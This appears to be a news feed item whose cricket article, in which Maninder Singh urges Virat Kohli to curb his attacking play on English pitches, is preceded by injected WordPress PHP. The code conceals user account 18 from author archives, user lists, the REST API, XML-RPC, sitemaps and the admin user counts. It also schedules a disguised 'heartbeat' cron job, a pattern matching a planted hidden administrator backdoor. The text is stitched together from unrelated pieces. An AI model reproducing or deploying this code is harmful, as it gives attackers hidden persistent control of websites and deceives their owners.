add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Kohli needs to practice what he preached, says Maninder Singh appeared first on The Edge Media.
]]>Speaking during a discussion on ESPNCricinfo, Maninder said Kohli needs to understand that England pitches are not like Indian pitches, and he needs to spend time in the middle before going for a drive on balls pitched outside off stump.
“Before the Test match, Virat Kohli had said that in these English conditions you’ve got to keep your ego in your pocket. And I think that is absolutely right. If he tries to dominate, like Virat Kohli usually does, these are not the pitches where he can bat like that.
“He needs to spend some time there, like he did on the previous tour where he scored almost 600 runs. Once you know the pace and know how much the ball is seaming around, they you can carry on playing your shots,” he said.
“These are not flat Indian pitches, where you can just put your foot forward and start driving. And what Kohli preached, he will have to practice. Keep your ego in your pocket,” Maninder added.
The former India spinner further added that Kohli is making the same mistakes he made in 2014 in England, and he needs to take inspiration from how he played in the country in 2018 to bounce back.
“Virat Kohli is basically making the same mistakes that he was making on his first tour of England. He is playing away from the body. It could happen to you if you are not playing regular cricket,” Maninder Singh said.
“He got out a couple of times the same way as you did in 2014, when he just got a 138 runs in 10 innings. I think things start coming back – am I playing the wrong line? Should I be leaving these balls?
All these Indian boys, in the first two Tests, they were leaving balls outside the off stump. I don’t know that happened in this Test match. They were wanting to play at it and paid the price for it. With Virat Kohli, he is going through a bad patch,” he signed off.
The post Kohli needs to practice what he preached, says Maninder Singh appeared first on The Edge Media.
]]>